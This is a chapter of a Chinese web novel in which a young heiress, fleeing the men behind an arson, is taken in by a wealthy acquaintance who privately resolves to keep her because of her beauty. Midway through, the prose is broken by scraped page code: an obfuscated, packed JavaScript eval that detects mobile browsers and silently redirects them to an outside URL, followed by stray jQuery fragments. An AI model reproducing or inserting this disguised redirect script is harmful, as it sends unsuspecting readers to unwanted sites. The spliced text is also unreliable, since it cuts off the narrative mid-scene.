车门砰地一声关上。简直是伸手不见五指的黑，她头晕目眩、身子阵阵发虚，连上下都分不清了；等被那人提着坐直，张嘴就要喊。


    “不要叫。”驾驶位上坐着的人忽然开口，也不回头，“你是金家什么人？”


    金雪池迅速认出了这声音，好像这么多年来一直能听到这人说话似的，其实总共也就听他说过几句话。心脏本来紧锣密鼓地跳着，在短暂的停顿后，变本加厉，几乎要把她的胸骨撞出响声。在这样逼仄的空间里，任何讯息都能放大百倍，就像他身上淡不可闻的香一样，在她看来，简直酽然。她真怕自己的动静全被他们听了去，不知道谁也没留心。


    “金家大小姐。”


    那人看了一眼后视镜，“这么大了。不要怕，你小时候见过我，我姓薛，还记得吗？”


    “嗯。”


    “不记得也没关系。你去了金家，又去了公安局，已经被仇人盯上了。今晚跟我回去。明天天一亮，我会替你买最早一班火车——不管是去哪的，给你一笔钱。自己找份生计，不要再回潮州。”


    黑暗里，她又静静流了满脸泪，“我父亲怎么样了？”


    “不清楚。几天前，矿场的经理给我拍电报，我才知道这件事。我也是刚到。”


    薛莲山发动了车子，一把从狭窄的巷子里倒回大路上。并不长的距离，他开了半个多小时，绕了许多路。车子最后停在一堵墙后面，左侧车门一拉开，正对着就是宾馆的前廊。


    薛莲山自然还是很绅士地替她开门，把她扶出来；他的手刚握住她的手腕，轻轻一拉，自认为有千钧定力的金雪池就动了。谁知道他把我带到他的房间去干什么？谁知道他是个什么人？真的有人在盯我？难道不可能就是他？一连串疑问在脑中大喊大叫，而她就是跟着他走。


    到了楼梯口，他忽然回身，向她伸出一只手，“把宾馆的钥匙给我好吗？我让定青把你的行李取过来。”


    她机械地掏出钥匙。后排那个叫定青的伙计接过钥匙，钻进驾驶室把车开走了。薛莲山这回就没有牵她，上了三楼，一进门，先拉上窗帘，再开灯。


    乍起的亮光刺激得她闭上眼，掏出手帕，顺手把汗和眼泪都抹干净了，还理了理鬓发。


    “薛先生，”她慢慢开口说，“是谁放的火？郝老板的人吗？”


    “应该是。”


    “那么，你这一趟来，是找建设厅谈判，接管矿权的。”


    薛莲山正在用一块绢布擦眼镜，动作毫不受影响，“我不明白金小姐是什么意思。”


    “和你有关吗？”


    “没有，我的资产很多，没想起这么远的地方有一座小矿。一开始我就说全凭他二位做主，鄙人只在年末拿点分红，不必征求我的意见。”他不紧不慢地回击道，“还有，金小姐，你也不是小孩了，该明白成年人要对自己的行为负责。金先生如何行事，需要我教吗？你也该对自己今天的冒失负责，我出手相助，已是分外之情。我也不从你这里要什么，明早——”


    薛莲山戴上擦好的眼镜，在灯光下第一次看向金雪池，然后，他改变主意了。


    因为常年待在江浙沪和京津，他的女朋友也以这几地人为主。在他看来，各地的男子丑得相似，而不同地域的女子各有各的美法。江苏女人脸型流畅，肤色白，像瓷碗里的白汤圆；浙江女人的鼻子最漂亮，又薄又翘，从侧面看隐隐透光，是流转的翡翠扣；北平女人血气沛足、肩颈圆润，是宫墙上的红灯笼；天津女人面长，有一番成熟的风情，是瓶上的描金画。至于说上海的女人，又有南人的好皮肤，又有北人立体的五官，加之打扮时髦，简直找不出几个丑的。


    朋友对他说：“没见识！你知不知道，粤东最出美人？”


    他就算是来广东出差，大多也是去深圳、广州，来粤东的时候实在少。上次去了金家，看到的几位粤东女子就是金文彬的姨太太，外加一个还处于黄毛丫头状态的金雪池。但金文彬此人的品味呢比较粗俗，只爱胸大臀大、腰细腿长的，至于脸蛋如何还是其次。薛莲山实在难以苟同，没有发现妙处。


    而现在——现在，他要承认粤东是出美人的，还是最美的那一款，见之忘俗。


    金雪池的骨相好，鼻子挺、双颧高，皮肉紧实地贴着骨头，没有半点松弛浮囊感。这就和哪里的女人都不同了，哪里的女人都如花似玉，就她凉而硬，像一柄簪子。此刻她没有笑，也看不出悲喜，带着一种盈盈的、古老的端凝；望着他，他静静地回以端凝。


    最终还是金雪池先低下头，“抱歉，薛先生，我......”


    定青敲门进来，把行李箱递给她。这么一打断，她也不知道该说什么了，就默默坐回椅子上，把那包稻香村拆了吃，再不吃东西，肚子叫的声音就要给他们听到了。枣糕甜而不腻，是很好吃的，是她原本要送给老豆的。


    种种情绪冲击中，她心力交瘁，一口一口地吃着，脑子就逐渐放空，也没意识到自己又在流泪。薛莲山搬了个凳子坐她对面，等她把嘴里含着的都咽下去，才开口说：“你是从外地回来的，是不是？”


    “我在北平上学。”


    “潮州人知道吗？”


    “......我不清楚，他也许说过。”


    “那么，你也不能回北平了。”


    金雪池一听这话，更茫然了，“但是我还没有毕业。”


    “现在不是谈能不能毕业的时候。”


    “抱歉，抱歉。那我试着去找工作。薛先生，前面对你说了一些话，是我太心急了，请别放在心上。我知道你人脉广，可不可以帮忙找找我父亲呢？因为警察说没见着尸体，他兴许没有死。就算是找到了，我们......我们也不要矿场了，我还可以现在立个字据，让他把银行的所有存款都给你——”


    “不要这么说，我难道像坏人么？”薛莲山打断她，“金先生是我的朋友，我当然会找他。你是他的女儿，我也愿意替他照顾你。我又想了想，没有大户人家的小姐会出去找活干，一个人在异地他乡，也不安全。”


    金雪池等着他的下文，半天没等到，一抬头，发现他正凝望着自己。


    五年过去，他的样貌一点也没发生变化，还是那么清瘦、温文、仪神隽秀。这样漂亮的男人，一生能见到几个呢？她的表情没有变化，心里已经酸楚得一塌糊涂。因为知道这漂亮男人下一句要接混账话了。


    “你可以跟我回上海。”


    “我换个去处吧，上海的房租太贵了。”


    “不要紧，我有地方给你住。”


    “住你家里么？”


    金雪池把后一句话咽了下去：你把我当什么人？


    薛莲山没说是不是，只是略惊讶的表情，好像疑惑你怎么又这样不礼貌。他同样也咽下去了一句话：树倒猢狲散，你现在什么人都不是。


    “选择权在你，请好好考虑吧。”他温声说，随即起身往木榻上一躺，将床留给她。金雪池不领他的情，进浴室洗澡、换了套干净衣服，趴在桌上休息。因为瘦，肘部凸起的骨头抵在桌面上，压得很疼；她把脸埋在臂弯里，睁着眼睛。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938715|192557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他看上我了。她想，身体一阵阵战栗着，不知是因为快乐还是因为痛苦。


    这一夜两人都没睡好。天不亮定青就来了一趟，和薛莲山耳语几句，又出去了。薛莲山转向她，“中午一点钟有最早的一班车，到汕头厦岭。我回去也是顺路的，你怎么打算？”


    “我就在厦岭下。”


    “好。”他当即掏出钱包，拿了一大沓纸币出来。金雪池没有接，“薛先生愿意帮我们家的忙，帮我买票，我就已经很感谢了。我身上的钱够用。”


    薛莲山从善如流地把钱收回去，两人再没有交流。中午吃了定青带回来的包子，开车直往西门外的车站去。汽车是租来的，定青去还，他领着她找到对应的车厢和座位——他们的座位还是分开的。金雪池坐下去，很单薄的一片人。


    他用手撑着前后两排的椅背，投下很大一片阴影。几秒后那阴影仍未散去，金雪池抬起头，他脸上带着一种落寞而无奈的笑，叹了一口气，也就走了；一手插在口袋里，一手握着皮夹，连背影都是好姿态。


    她忍不住一直看，走到厢门口，他忽然回了一下头。金雪池大惊，表面上什么都没流露出，只略一颔首，从从容容地坐下了。


    下午三点，火车到了汕头厦岭。金雪池想要不要找他道个别？但她甚至都不知道他在哪一节车厢，算了。她提着行李下了车，习惯性地要叫人力车，又意识到自己并不知道目的地。现在她要租房子，还是一路走、一路看比较好。


    提在手里的箱子越来越沉，左手换右手，右手换左手。半分钟不到，她又在太阳下折腾出一身汗。心下烦躁，神经也迟钝，金雪池完全没有意识到有人离自己越来越近；等觉察的时候，那人只在她身后五米处。


    她顿住脚步，那人也不走了。


    她转过身，那个戴墨晶眼镜的人就悠悠踱进了巷口。她开始往回走，过了巷口，那人又从巷子里钻出来，跟着她。


    金雪池撒腿就跑。跟踪者也跑起来，几乎几步就追上了她，一把拉住她的褂子下摆；她举起皮箱砸向对方，角部包裹的铜片砸到对方额上，凿了个口子，鲜血横流。


    “沤饵！”那人骂道。


    她完全没有气息说话，只顾狂奔。火车们仍然大开着，不少人站在门口抽烟，也有人拖着大箱子慢慢挪动。她猛地冲回车厢，在满座惊愕的目光中，大喊道：“薛先生！”


    一张张陌生的脸全转向她，像吊诡的葵花。她心里愈发怕，顺着车身，一节节往后跑，一路跑一路大喊：“薛先生——薛先生——”


    定青迎着她跑过来，“在这里！”


    她远远望到了主仆二人，立刻冲过去，快要到时又堪堪刹住脚步，停在他座位边上。薛莲山一把握住她的手腕，“怎么了？”


    “有人追我！”


    当然有人追你。


    昨晚薛莲山把她拦住，即使开车兜了许多路，也始终注意到到有一辆车远远地跟着。回了宾馆，他就在后悔，不该多生事端。现在仇家是忌惮着自己，不会贸然动手，但保不齐什么时候会忍不了呢？干脆给她买张票、让她自己走，死在外面，他看不到，也避免了良心上的谴责。


    但是金雪池是个美人，事情就完全不同了。冒多大的风险都值得。


    “跟我回上海。”他说。


    “好，好，”金雪池完全六神无主，“那我坐回去了......”


    “坐我旁边吧，那人不会跟过来。”


    “这里没有人吗？”


    他一开始就把这个位置的票买下来了。